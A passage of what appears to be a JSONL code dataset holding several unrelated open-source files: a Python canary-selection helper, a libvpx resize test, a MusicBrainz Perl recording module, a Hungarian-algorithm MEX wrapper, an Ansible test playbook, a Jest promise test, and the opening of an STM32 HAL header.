list.\n\n The goals are:\n\n * the canaries should represent all pools in the hostlist\n * the first host should be from the most common pool\n * if it's a bad deploy it affects the pool with the most capacity.\n * hopefully the largest pool will have the most traffic to test on.\n * the ordering should be stable for repeatability on revert\n\n To achieve this, we take one host from each pool ordering the pools by\n descending size and the hosts within a pool by instance ID.\n\n \"\"\"\n by_pool = collections.defaultdict(list)\n for host in hosts:\n by_pool[host.pool].append(host)\n\n by_pool_ordered_by_pool_size = sorted(\n by_pool.iteritems(),\n key=lambda (pool_name, hosts): len(hosts),\n reverse=True,\n )\n\n canaries = []\n for pool, hosts in by_pool_ordered_by_pool_size:\n canary_for_pool = sorted(hosts, key=lambda h: h.id)[0]\n canaries.append(canary_for_pool)\n return canaries\n"} {"text": "/*\n * Copyright (c) 2012 The WebM project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n */\n#include <climits>\n#include <vector>\n#include \"third_party/googletest/src/include/gtest/gtest.h\"\n#include \"test/codec_factory.h\"\n#include \"test/encode_test_driver.h\"\n#include \"test/i420_video_source.h\"\n#include \"test/video_source.h\"\n#include \"test/util.h\"\n\n// Enable(1) or Disable(0) writing of the compressed bitstream.\n#define WRITE_COMPRESSED_STREAM 0\n\nnamespace {\n\n#if WRITE_COMPRESSED_STREAM\nstatic void mem_put_le16(char *const mem, const unsigned int val) {\n mem[0] = val;\n mem[1] = val >> 8;\n}\n\nstatic void mem_put_le32(char *const mem, const unsigned int val) {\n mem[0] = val;\n mem[1] = val >> 8;\n mem[2] = val >> 16;\n mem[3] = val >> 24;\n}\n\nstatic void write_ivf_file_header(const vpx_codec_enc_cfg_t *const cfg,\n int frame_cnt, FILE *const outfile) {\n char header[32];\n\n header[0] = 'D';\n header[1] = 'K';\n header[2] = 'I';\n header[3] = 'F';\n mem_put_le16(header + 4, 0); /* version */\n mem_put_le16(header + 6, 32); /* headersize */\n mem_put_le32(header + 8, 0x30395056); /* fourcc (vp9) */\n mem_put_le16(header + 12, cfg->g_w); /* width */\n mem_put_le16(header + 14, cfg->g_h); /* height */\n mem_put_le32(header + 16, cfg->g_timebase.den); /* rate */\n mem_put_le32(header + 20, cfg->g_timebase.num); /* scale */\n mem_put_le32(header + 24, frame_cnt); /* length */\n mem_put_le32(header + 28, 0); /* unused */\n\n (void)fwrite(header, 1, 32, outfile);\n}\n\nstatic void write_ivf_frame_size(FILE *const outfile, const size_t size) {\n char header[4];\n mem_put_le32(header, static_cast<unsigned int>(size));\n (void)fwrite(header, 1, 4, outfile);\n}\n\nstatic void write_ivf_frame_header(const vpx_codec_cx_pkt_t *const pkt,\n FILE *const outfile) {\n char header[12];\n vpx_codec_pts_t pts;\n\n if (pkt->kind != VPX_CODEC_CX_FRAME_PKT)\n return;\n\n pts = pkt->data.frame.pts;\n mem_put_le32(header, static_cast<unsigned int>(pkt->data.frame.sz));\n mem_put_le32(header + 4, pts & 0xFFFFFFFF);\n mem_put_le32(header + 8, pts >> 32);\n\n (void)fwrite(header, 1, 12, outfile);\n}\n#endif // WRITE_COMPRESSED_STREAM\n\nconst unsigned int kInitialWidth = 320;\nconst unsigned int kInitialHeight = 240;\n\nunsigned int ScaleForFrameNumber(unsigned int frame, unsigned int val) {\n if (frame < 10)\n return val;\n if (frame < 20)\n return val / 2;\n if (frame < 30)\n return val * 2 / 3;\n if (frame < 40)\n return val / 4;\n if (frame < 50)\n return val * 7 / 8;\n return val;\n}\n\nclass ResizingVideoSource : public ::libvpx_test::DummyVideoSource {\n public:\n ResizingVideoSource() {\n SetSize(kInitialWidth, kInitialHeight);\n limit_ = 60;\n }\n\n virtual ~ResizingVideoSource() {}\n\n protected:\n virtual void Next() {\n ++frame_;\n SetSize(ScaleForFrameNumber(frame_, kInitialWidth),\n ScaleForFrameNumber(frame_, kInitialHeight));\n FillFrame();\n }\n};\n\nclass ResizeTest : public ::libvpx_test::EncoderTest,\n public ::libvpx_test::CodecTestWithParam<libvpx_test::TestMode> {\n protected:\n ResizeTest() : EncoderTest(GET_PARAM(0)) {}\n\n virtual ~ResizeTest() {}\n\n struct FrameInfo {\n FrameInfo(vpx_codec_pts_t _pts, unsigned int _w, unsigned int _h)\n : pts(_pts), w(_w), h(_h) {}\n\n vpx_codec_pts_t pts;\n unsigned int w;\n unsigned int h;\n };\n\n virtual void SetUp() {\n InitializeConfig();\n SetMode(GET_PARAM(1));\n }\n\n virtual void DecompressedFrameHook(const vpx_image_t &img,\n vpx_codec_pts_t pts) {\n frame_info_list_.push_back(FrameInfo(pts, img.d_w, img.d_h));\n }\n\n std::vector< FrameInfo > frame_info_list_;\n};\n\nTEST_P(ResizeTest, TestExternalResizeWorks) {\n ResizingVideoSource video;\n ASSERT_NO_FATAL_FAILURE(RunLoop(&video));\n\n for (std::vector<FrameInfo>::const_iterator info = frame_info_list_.begin();\n info != frame_info_list_.end(); ++info) {\n const unsigned int frame = static_cast<unsigned>(info->pts);\n const unsigned int expected_w = ScaleForFrameNumber(frame, kInitialWidth);\n const unsigned int expected_h = ScaleForFrameNumber(frame, kInitialHeight);\n\n EXPECT_EQ(expected_w, info->w)\n << \"Frame \" << frame << \"had unexpected width\";\n EXPECT_EQ(expected_h, info->h)\n << \"Frame \" << frame << \"had unexpected height\";\n }\n}\n\nconst unsigned int kStepDownFrame = 3;\nconst unsigned int kStepUpFrame = 6;\n\nclass ResizeInternalTest : public ResizeTest {\n protected:\n#if WRITE_COMPRESSED_STREAM\n ResizeInternalTest()\n : ResizeTest(),\n frame0_psnr_(0.0),\n outfile_(NULL),\n out_frames_(0) {}\n#else\n ResizeInternalTest() : ResizeTest(), frame0_psnr_(0.0) {}\n#endif\n\n virtual ~ResizeInternalTest() {}\n\n virtual void BeginPassHook(unsigned int /*pass*/) {\n#if WRITE_COMPRESSED_STREAM\n outfile_ = fopen(\"vp90-2-05-resize.ivf\", \"wb\");\n#endif\n }\n\n virtual void EndPassHook() {\n#if WRITE_COMPRESSED_STREAM\n if (outfile_) {\n if (!fseek(outfile_, 0, SEEK_SET))\n write_ivf_file_header(&cfg_, out_frames_, outfile_);\n fclose(outfile_);\n outfile_ = NULL;\n }\n#endif\n }\n\n virtual void PreEncodeFrameHook(libvpx_test::VideoSource *video,\n libvpx_test::Encoder *encoder) {\n if (video->frame() == kStepDownFrame) {\n struct vpx_scaling_mode mode = {VP8E_FOURFIVE, VP8E_THREEFIVE};\n encoder->Control(VP8E_SET_SCALEMODE, &mode);\n }\n if (video->frame() == kStepUpFrame) {\n struct vpx_scaling_mode mode = {VP8E_NORMAL, VP8E_NORMAL};\n encoder->Control(VP8E_SET_SCALEMODE, &mode);\n }\n }\n\n virtual void PSNRPktHook(const vpx_codec_cx_pkt_t *pkt) {\n if (!frame0_psnr_)\n frame0_psnr_ = pkt->data.psnr.psnr[0];\n EXPECT_NEAR(pkt->data.psnr.psnr[0], frame0_psnr_, 2.0);\n }\n\n virtual void FramePktHook(const vpx_codec_cx_pkt_t *pkt) {\n#if WRITE_COMPRESSED_STREAM\n ++out_frames_;\n\n // Write initial file header if first frame.\n if (pkt->data.frame.pts == 0)\n write_ivf_file_header(&cfg_, 0, outfile_);\n\n // Write frame header and data.\n write_ivf_frame_header(pkt, outfile_);\n (void)fwrite(pkt->data.frame.buf, 1, pkt->data.frame.sz, outfile_);\n#endif\n }\n\n double frame0_psnr_;\n#if WRITE_COMPRESSED_STREAM\n FILE *outfile_;\n unsigned int out_frames_;\n#endif\n};\n\nTEST_P(ResizeInternalTest, TestInternalResizeWorks) {\n ::libvpx_test::I420VideoSource video(\"hantro_collage_w352h288.yuv\", 352, 288,\n 30, 1, 0, 10);\n init_flags_ = VPX_CODEC_USE_PSNR;\n\n // q picked such that initial keyframe on this clip is ~30dB PSNR\n cfg_.rc_min_quantizer = cfg_.rc_max_quantizer = 48;\n\n // If the number of frames being encoded is smaller than g_lag_in_frames\n // the encoded frame is unavailable using the current API. Comparing\n // frames to detect mismatch would then not be possible. Set\n // g_lag_in_frames = 0 to get around this.\n cfg_.g_lag_in_frames = 0;\n ASSERT_NO_FATAL_FAILURE(RunLoop(&video));\n\n for (std::vector<FrameInfo>::const_iterator info = frame_info_list_.begin();\n info != frame_info_list_.end(); ++info) {\n const vpx_codec_pts_t pts = info->pts;\n if (pts >= kStepDownFrame && pts < kStepUpFrame) {\n ASSERT_EQ(282U, info->w) << \"Frame \" << pts << \" had unexpected width\";\n ASSERT_EQ(173U, info->h) << \"Frame \" << pts << \" had unexpected height\";\n } else {\n EXPECT_EQ(352U, info->w) << \"Frame \" << pts << \" had unexpected width\";\n EXPECT_EQ(288U, info->h) << \"Frame \" << pts << \" had unexpected height\";\n }\n }\n}\n\nVP8_INSTANTIATE_TEST_CASE(ResizeTest, ONE_PASS_TEST_MODES);\nVP9_INSTANTIATE_TEST_CASE(ResizeInternalTest,\n ::testing::Values(::libvpx_test::kOnePassBest));\n} // namespace\n"} {"text": "package MusicBrainz::Server::Data::Recording;\n\nuse Moose;\nuse namespace::autoclean;\nuse List::UtilsBy qw( rev_nsort_by sort_by uniq_by );\nuse MusicBrainz::Server::Constants qw(\n $EDIT_RECORDING_CREATE\n $EDIT_HISTORIC_ADD_TRACK\n $EDIT_HISTORIC_ADD_TRACK_KV\n);\nuse MusicBrainz::Server::Data::Track;\nuse MusicBrainz::Server::Data::ReleaseGroup;\nuse MusicBrainz::Server::Data::Utils qw(\n defined_hash\n hash_to_row\n merge_boolean_attributes\n merge_table_attributes\n placeholders\n load_subobjects\n order_by\n);\nuse MusicBrainz::Server::Entity::Recording;\n\nextends 'MusicBrainz::Server::Data::CoreEntity';\nwith 'MusicBrainz::Server::Data::Role::Annotation' => { type => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::CoreEntityCache';\nwith 'MusicBrainz::Server::Data::Role::DeleteAndLog' => { type => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::Editable' => { table => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::Rating' => { type => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::Tag' => { type => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::LinksToEdit' => { table => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::Merge';\nwith 'MusicBrainz::Server::Data::Role::Alias' => { type => 'recording' };\nwith 'MusicBrainz::Server::Data::Role::Collection';\n\nsub _type { 'recording' }\n\nsub _columns\n{\n return 'recording.id, recording.gid, recording.name,\n recording.artist_credit AS artist_credit_id,\n recording.length, recording.comment, recording.video,\n recording.edits_pending, recording.last_updated';\n}\nsub _column_mapping\n{\n return {\n id => 'id',\n gid => 'gid',\n name => 'name',\n artist_credit_id => 'artist_credit_id',\n length => 'length',\n comment => 'comment',\n video => 'video',\n edits_pending => 'edits_pending',\n last_updated => 'last_updated',\n };\n}\n\nsub _id_column\n{\n return 'recording.id';\n}\n\nsub find_artist_credits_by_artist\n{\n my ($self, $artist_id) = @_;\n\n my $query = \"SELECT DISTINCT rec.artist_credit\n FROM recording rec\n JOIN artist_credit_name acn\n ON acn.artist_credit = rec.artist_credit\n WHERE acn.artist = ?\";\n my $ids = $self->sql->select_single_column_array($query, $artist_id);\n return $self->c->model('ArtistCredit')->find_by_ids($ids);\n}\n\nsub find_by_artist\n{\n my ($self, $artist_id, $limit, $offset, %args) = @_;\n\n my (@where_query, @where_args);\n\n push @where_query, \"acn.artist = ?\";\n push @where_args, $artist_id;\n\n if (exists $args{filter}) {\n my %filter = %{ $args{filter} };\n if (exists $filter{name}) {\n push @where_query, \"(mb_simple_tsvector(recording.name) @@ plainto_tsquery('mb_simple', mb_lower(?)) OR recording.name = ?)\";\n push @where_args, $filter{name}, $filter{name};\n }\n if (exists $filter{artist_credit_id}) {\n push @where_query, \"recording.artist_credit = ?\";\n push @where_args, $filter{artist_credit_id};\n }\n }\n\n my $query = \"SELECT DISTINCT \" . $self->_columns . \",\n recording.name COLLATE musicbrainz AS name_collate,\n comment COLLATE musicbrainz AS comment_collate\n FROM \" . $self->_table . \"\n JOIN artist_credit_name acn\n ON acn.artist_credit = recording.artist_credit\n WHERE \" . join(\" AND \", @where_query) . \"\n ORDER BY recording.name COLLATE musicbrainz,\n comment COLLATE musicbrainz\";\n $self->query_to_list_limited($query, \\@where_args, $limit, $offset);\n}\n\nsub find_by_instrument {\n my ($self, $instrument_id, $limit, $offset) = @_;\n\n # NOTE: if more tables than l_artist_recording are added here, check admin/BuildSitemaps.pl\n my $query = \"SELECT \" . $self->_columns . \", \n array_agg(json_build_object('typeName', link_type.name, 'credit', lac.credited_as)) AS instrument_credits_and_rel_types\n FROM \" . $self->_table . \"\n JOIN l_artist_recording ON l_artist_recording.entity1 = recording.id\n JOIN link ON link.id = l_artist_recording.link\n JOIN link_type ON link_type.id = link.link_type\n JOIN link_attribute ON link_attribute.link = link.id\n JOIN link_attribute_type ON link_attribute_type.id = link_attribute.attribute_type\n JOIN instrument ON instrument.gid = link_attribute_type.gid\n LEFT JOIN link_attribute_credit lac ON (\n lac.link = link_attribute.link AND\n lac.attribute_type = link_attribute.attribute_type\n )\n WHERE instrument.id = ?\n GROUP BY recording.id\n ORDER BY recording.name COLLATE musicbrainz\";\n\n $self->query_to_list_limited(\n $query,\n [$instrument_id],\n $limit,\n $offset,\n sub {\n my ($model, $row) = @_;\n my $credits_and_rel_types = delete $row->{instrument_credits_and_rel_types};\n { recording => $model->_new_from_row($row), instrument_credits_and_rel_types => $credits_and_rel_types };\n },\n );\n}\n\nsub find_by_release\n{\n my ($self, $release_id, $limit, $offset) = @_;\n\n my $query = \"SELECT \" . $self->_columns . \"\n FROM \" . $self->_table . \"\n JOIN track ON track.recording = recording.id\n JOIN medium ON medium.id = track.medium\n JOIN release ON release.id = medium.release\n WHERE release.id = ?\n ORDER BY recording.name COLLATE musicbrainz\";\n\n $self->query_to_list_limited($query, [$release_id], $limit, $offset);\n}\n\nsub find_by_works\n{\n my ($self, $work_ids, $limit, $offset) = @_;\n return ([], 0) unless @$work_ids;\n\n my $query = \"SELECT \" . $self->_columns . \"\n FROM \". $self->_table . \"\n JOIN l_recording_work lrw ON lrw.entity0 = recording.id\n WHERE lrw.entity1 = any(?)\n ORDER BY recording.name COLLATE musicbrainz\";\n\n $self->query_to_list_limited($query, [$work_ids], $limit, $offset);\n}\n\nsub _order_by {\n my ($self, $order) = @_;\n\n my $extra_join = \"\";\n my $also_select = \"\";\n\n my $order_by = order_by($order, \"name\", {\n \"name\" => sub {\n return \"name COLLATE musicbrainz\"\n },\n \"artist\" => sub {\n $extra_join = \"JOIN artist_credit ac ON ac.id = recording.artist_credit\";\n $also_select = \"ac.name AS ac_name\";\n return \"ac_name COLLATE musicbrainz, recording.name COLLATE musicbrainz\";\n },\n \"length\" => sub {\n return \"length, name COLLATE musicbrainz\"\n },\n });\n\n my $inner_order_by = $order_by\n =~ s/ac_name/ac.name/r;\n\n return ($order_by, $extra_join, $also_select, $inner_order_by);\n}\n\nsub can_delete {\n my ($self, $recording_id) = @_;\n return !$self->sql->select_single_value(\n 'SELECT 1 FROM track WHERE recording = ? LIMIT 1',\n $recording_id\n );\n}\n\nsub load\n{\n my ($self, @objs) = @_;\n return load_subobjects($self, 'recording', @objs);\n}\n\nsub update\n{\n my ($self, $recording_id, $update) = @_;\n my $row = $self->_hash_to_row($update);\n $self->sql->update_row('recording', $row, { id => $recording_id });\n}\n\nsub usage_count\n{\n my ($self, $recording_id) = @_;\n return $self->sql->select_single_value(\n 'SELECT count(*) FROM track\n WHERE recording = ?', $recording_id);\n}\n\nsub delete\n{\n my ($self, @recording_ids) = @_;\n\n $self->c->model('Collection')->delete_entities('recording', @recording_ids);\n $self->c->model('Relationship')->delete_entities('recording', @recording_ids);\n $self->c->model('ISRC')->delete_recordings(@recording_ids);\n $self->alias->delete_entities(@recording_ids);\n $self->annotation->delete(@recording_ids);\n $self->tags->delete(@recording_ids);\n $self->rating->delete(@recording_ids);\n $self->remove_gid_redirects(@recording_ids);\n $self->delete_returning_gids(@recording_ids);\n return;\n}\n\nsub _hash_to_row\n{\n my ($self, $recording) = @_;\n my $row = hash_to_row($recording, {\n video => 'video',\n map { $_ => $_ } qw( artist_credit length comment name )\n });\n\n return $row;\n}\n\nsub load_meta\n{\n my $self = shift;\n MusicBrainz::Server::Data::Utils::load_meta($self->c, \"recording_meta\", sub {\n my ($obj, $row) = @_;\n $obj->rating($row->{rating}) if defined $row->{rating};\n $obj->rating_count($row->{rating_count}) if defined $row->{rating_count};\n }, @_);\n}\n\nsub _merge_impl\n{\n my ($self, $new_id, @old_ids) = @_;\n\n $self->alias->merge($new_id, @old_ids);\n $self->annotation->merge($new_id, @old_ids);\n $self->tags->merge($new_id, @old_ids);\n $self->rating->merge($new_id, @old_ids);\n $self->c->model('ISRC')->merge_recordings($new_id, @old_ids);\n $self->c->model('Edit')->merge_entities('recording', $new_id, @old_ids);\n $self->c->model('Collection')->merge_entities('recording', $new_id, @old_ids);\n $self->c->model('Relationship')->merge_entities('recording', $new_id, \\@old_ids);\n\n # Move tracks to the new recording\n $self->sql->do('UPDATE track SET recording = ?\n WHERE recording IN ('.placeholders(@old_ids).')', $new_id, @old_ids);\n\n merge_table_attributes(\n $self->sql => (\n table => 'recording',\n columns => [ qw( length ) ],\n old_ids => \\@old_ids,\n new_id => $new_id\n )\n );\n\n merge_boolean_attributes(\n $self->sql => (\n table => 'recording',\n columns => [ qw( video ) ],\n old_ids => \\@old_ids,\n new_id => $new_id\n )\n );\n\n $self->_delete_and_redirect_gids('recording', $new_id, @old_ids);\n return 1;\n}\n\nsub find_standalone\n{\n my ($self, $artist_id, $limit, $offset) = @_;\n my $query ='\n SELECT DISTINCT ' . $self->_columns . ',\n recording.name COLLATE musicbrainz\n FROM ' . $self->_table . '\n LEFT JOIN track t ON t.recording = recording.id\n JOIN artist_credit_name acn\n ON acn.artist_credit = recording.artist_credit\n WHERE t.id IS NULL\n AND acn.artist = ?\n ORDER BY recording.name COLLATE musicbrainz';\n $self->query_to_list_limited($query, [$artist_id], $limit, $offset);\n}\n\nsub find_video\n{\n my ($self, $artist_id, $limit, $offset) = @_;\n my $query ='\n SELECT DISTINCT ' . $self->_columns . ',\n recording.name COLLATE musicbrainz\n FROM ' . $self->_table . '\n JOIN artist_credit_name acn\n ON acn.artist_credit = recording.artist_credit\n WHERE video IS TRUE\n AND acn.artist = ?\n ORDER BY recording.name COLLATE musicbrainz';\n $self->query_to_list_limited($query, [$artist_id], $limit, $offset);\n}\n=method appears_on\n\nThis method will return a list of release groups the recordings appear\non. The results are ordered using the type-id (so albums come first,\nthen singles, etc..) and then by name.\n\n=cut\n\nsub appears_on\n{\n my ($self, $recordings, $limit) = @_;\n\n return () unless scalar @$recordings;\n\n my @ids = map { $_->id } @$recordings;\n\n my $query =\n \"SELECT DISTINCT ON (recording.id, rg.name, type)\n rg.id, rg.gid, type AS primary_type_id, rg.name,\n rg.artist_credit AS artist_credit_id, recording.id AS recording\n FROM release_group rg\n JOIN release ON release.release_group = rg.id\n JOIN medium ON release.id = medium.release\n JOIN track ON track.medium = medium.id\n JOIN recording ON recording.id = track.recording\n WHERE recording.id IN (\" . placeholders (@ids) . \")\";\n\n my %map;\n for my $row (@{ $self->sql->select_list_of_hashes($query, @ids) }) {\n my $recording_id = delete $row->{recording};\n $map{$recording_id} ||= [];\n push @{ $map{$recording_id} }, MusicBrainz::Server::Data::ReleaseGroup->_new_from_row($row);\n }\n\n for my $rec_id (keys %map)\n {\n # A crude ordering of importance.\n my @rgs = uniq_by { $_->name }\n rev_nsort_by { $_->primary_type_id // -1 }\n sort_by { $_->name }\n @{ $map{$rec_id} };\n\n $map{$rec_id} = {\n hits => scalar @rgs,\n results => scalar @rgs > $limit ? [ @rgs[ 0 .. ($limit-1) ] ] : \\@rgs,\n }\n }\n\n return %map;\n}\n\n__PACKAGE__->meta->make_immutable;\nno Moose;\n1;\n\n=head1 COPYRIGHT\n\nCopyright (C) 2009 Lukas Lalinsky\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n=cut\n"} {"text": "/** -----------------------------------------------------------\n MEX file for computing a solution to the LSAP with the Hungarian algorithm\n \n [rho] = hungarianLSAP(C,init_type,forb)\n [rho,varrho] = hungarianLSAP(C,init_type,forb)\n [rho,u,v] = hungarianLSAP(C,init_type,forb)\n [rho,varrho,u,v] = hungarianLSAP(C,init_type,forb)\n\n Given a nxm cost matrix C (integer ou floatting values) it computes:\n\n - a solution rho to the LSAP, i.e. a one-to-one mapping from the rows of C to its columns,\n and the one-to-to mapping from the columns to the rows\n\n rho is represented by a nx1 matrix so that rho(i)=j means that i is assigned to j\n varrho is a 1xm matrix so that varrho(j)=i means that j is assigned to i\n for the asymmetric LSAP (n and m are not equal):\n if n<m:\n rho is an injection from {1,...,n} to {1,...,m}\n m-n columns are not assigned, which is represented by varrho(j)=-1\n if n>m\n varrho is an injection from {1,...,m} to {1,...,n}\n n-m rows are not assigned, which is represented by rho(i)=-1\n\n - a solution (u,v) to its dual problem (labeling problem)\n\n optional integer init_type:\n 0 -> no initialization\n 1 -> classical initialization u is the min of each row and v the min of each column minus u\n\n optional boolean parameter forb:\n - true -> forbidden assignments are represented by negative cost values\n - false -> no forbidden assignments (by default) \n\n This is a MEX-file for MATLAB.\n \n This file is part of LSAPE.\n LSAPE is free software: you can redistribute it and/or modify it\n under the terms of the CeCILL-C License. See README for more details.\n\n Copyright 2015-2017\n authors: Sebastien Bougleux\n institution: Normandie Univ, CNRS - ENSICAEN - UNICAEN, GREYC, France\n last modif: July 5 2017\n \n execute matlab file 'compile_mex' to compile this function and use it in matlab\n * -----------------------------------------------------------\n*/\n\n#include <mex.h>\n#include <cstdio>\n#include <string>\n#include <hungarian-lsap.hh>\n#include <utils.hh>\n\ntemplate <typename DT>\nvoid hungarian_helper(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[], const mxClassID &mxC)\n{\n // 1st input : edit cost matrix\n const DT *C = (DT*)mxGetPr(prhs[0]);\n // get dimensions\n int nrows = (int)mxGetDimensions(prhs[0])[0];\n int ncols = (int)mxGetDimensions(prhs[0])[1];\n int dimr2[2] = { nrows, 1 }, dimc2[2] = { 1, ncols };\n bool forbassign = false;\n unsigned short init_type = 1;\n if (nrhs > 1) init_type = (unsigned short)mxGetScalar(prhs[1]);\n if (nrhs == 3) forbassign = (bool)mxGetScalar(prhs[2]);\n //------------------------------------------------------------------\n int i = 0;\n plhs[0] = mxCreateNumericArray(2, dimr2, mxINT32_CLASS, mxREAL);\n int *rho = (int*)mxGetData(plhs[0]);\n int *varrho = NULL;\n if (nlhs == 2 || nlhs == 4)\n {\n plhs[1] = mxCreateNumericArray(2, dimc2, mxINT32_CLASS, mxREAL);\n varrho = (int*)mxGetData(plhs[1]);\n }\n DT *u = NULL, *v = NULL;\n if (nlhs > 2)\n {\n plhs[nlhs-2] = mxCreateNumericArray(2, dimr2, mxC, mxREAL);\n u = (DT*)mxGetPr(plhs[nlhs-2]);\n plhs[nlhs-1] = mxCreateNumericArray(2, dimc2, mxC, mxREAL);\n v = (DT*)mxGetPr(plhs[nlhs-1]);\n }\n else { u = new DT[nrows]; v = new DT[ncols];}\n hungarianLSAP<DT,int>(C,nrows,ncols,rho,u,v,varrho,init_type,forbassign);\n for (int i = 0; i < nrows; i++) rho[i]++;\n if (nlhs == 2 || nlhs == 4) for (int j = 0; j < ncols; j++) varrho[j]++;\n if (nlhs < 3) { delete[] u; delete[] v; }\n}\n\n//------------------------------------------------------------------\nvoid mexFunction(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[]) \n{\n if (nrhs < 1 || nrhs > 3 || nlhs < 1 || nlhs > 4) mexErrMsgTxt(\"USAGE: [rho] = hungarianLSAP(C,init_type,forbassign)\\nUSAGE: [rho,varrho] = hungarianLSAP(C,init_type,forbassign)\\nUSAGE: [rho,u,v] = hungarianLSAP(C,init_type,forbassign)\\nUSAGE: [rho,varrho,u,v] = hungarianLSAP(C,init_type,forbassign)\\n\");\n mxClassID tclass = mxGetClassID(prhs[0]);\n switch(tclass)\n {\n case mxINT16_CLASS: hungarian_helper<short>(nlhs,plhs,nrhs,prhs,tclass); break;\n case mxINT32_CLASS: hungarian_helper<int>(nlhs,plhs,nrhs,prhs,tclass); break;\n case mxINT64_CLASS: hungarian_helper<int64_T>(nlhs,plhs,nrhs,prhs,tclass); break;\n case mxSINGLE_CLASS: hungarian_helper<float>(nlhs,plhs,nrhs,prhs,tclass); break;\n default: hungarian_helper<double>(nlhs,plhs,nrhs,prhs,tclass);\n }\n}\n"} {"text": "---\n\n- name: \"{{ test }}\"\n hosts: debian\n become: true\n gather_facts: false\n tasks:\n\n # Latest\n - tags: [latest]\n block:\n - file:\n path: /usr/local/bin/symfony\n state: absent\n - import_role:\n name: symfony_cli\n vars:\n manala_symfony_cli_version: ~\n always:\n - name: Goss\n command: >\n goss --gossfile {{ test }}.goss.yml --vars-inline \"{tags: [latest]}\" validate\n\n # Version\n - tags: [version]\n block:\n - file:\n path: /usr/local/bin/symfony\n state: absent\n - import_role:\n name: symfony_cli\n vars:\n manala_symfony_cli_version: 4.16.0\n always:\n - name: Goss\n command: >\n goss --gossfile {{ test }}.goss.yml --vars-inline \"{tags: [version]}\" validate\n"} {"text": "/**\n * Copyright (c) 2014-present, Facebook, Inc. All rights reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\ndescribe('promise it', () => {\n beforeEach(() => {\n this.someContextValue = 'value';\n });\n\n // passing tests\n it('passes a sync test', () => {\n expect(1).toBe(1);\n });\n\n it('waits for promise to be resolved', () => Promise.resolve());\n\n it('works with done', done => {\n done();\n });\n\n it('works with async done', done => {\n setTimeout(done, 1);\n });\n\n it('is bound to context object', () =>\n new Promise(resolve => {\n if (this.someContextValue !== 'value') {\n throw new Error(\n 'expected this.someContextValue to be set: ' + this.someContextValue\n );\n }\n resolve();\n }));\n\n // failing tests\n it('fails if promise is rejected', () =>\n Promise.reject(new Error('rejected promise returned')));\n\n it('works with done.fail', done => {\n done.fail(new Error('done.fail was called'));\n });\n\n it('works with done(error)', done => {\n done(new Error('done was called with error'));\n });\n\n it('fails if failed expectation with done', done => {\n expect(true).toEqual(false);\n done();\n });\n\n it('fails if failed expectation with done - async', done => {\n setTimeout(() => {\n expect(true).toEqual(false);\n done();\n }, 1);\n });\n\n it('fails with thrown error with done - sync', done => {\n throw new Error('sync fail');\n done(); // eslint-disable-line\n });\n\n it('fails with thrown error with done - async', done => {\n setTimeout(() => {\n throw new Error('async fail');\n done(); // eslint-disable-line\n }, 1);\n });\n\n // I wish it was possible to catch this but I do not see a way.\n // Currently both jest and mocha will pass this test.\n it.skip('fails with thrown error - async', () => {\n setTimeout(() => {\n throw new Error('async fail - no done');\n }, 1);\n });\n\n it('fails a sync test', () => {\n expect('sync').toBe('failed');\n });\n\n it(\n 'succeeds if the test finishes in time',\n () => new Promise(resolve => setTimeout(resolve, 10)),\n 250\n );\n\n // failing tests\n it(\n 'fails if a custom timeout is exceeded',\n () => new Promise(resolve => setTimeout(resolve, 100)),\n 10\n );\n});\n"} {"text": "/**\n ******************************************************************************\n * @file stm32f7xx_hal_def.h\n * @author MCD Application Team\n * @version V1.2.0\n * @date 30-December-2016\n * @brief This file contains HAL common defines, enumeration, macros and \n * structures definitions. \n ******************************************************************************\n * @attention\n *\n * <h2><center>&copy; COPYRIGHT(c) 2016 STMicroelectronics</center></h2>\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and/or other materials provided with the distribution.\n * 3. Neither the name of STMicroelectronics nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n ******************************************************************************\n */\n\n/* Define to prevent recursive inclusion -------------------------------------*/\n#ifndef __STM32F7xx_HAL_DEF\n#define 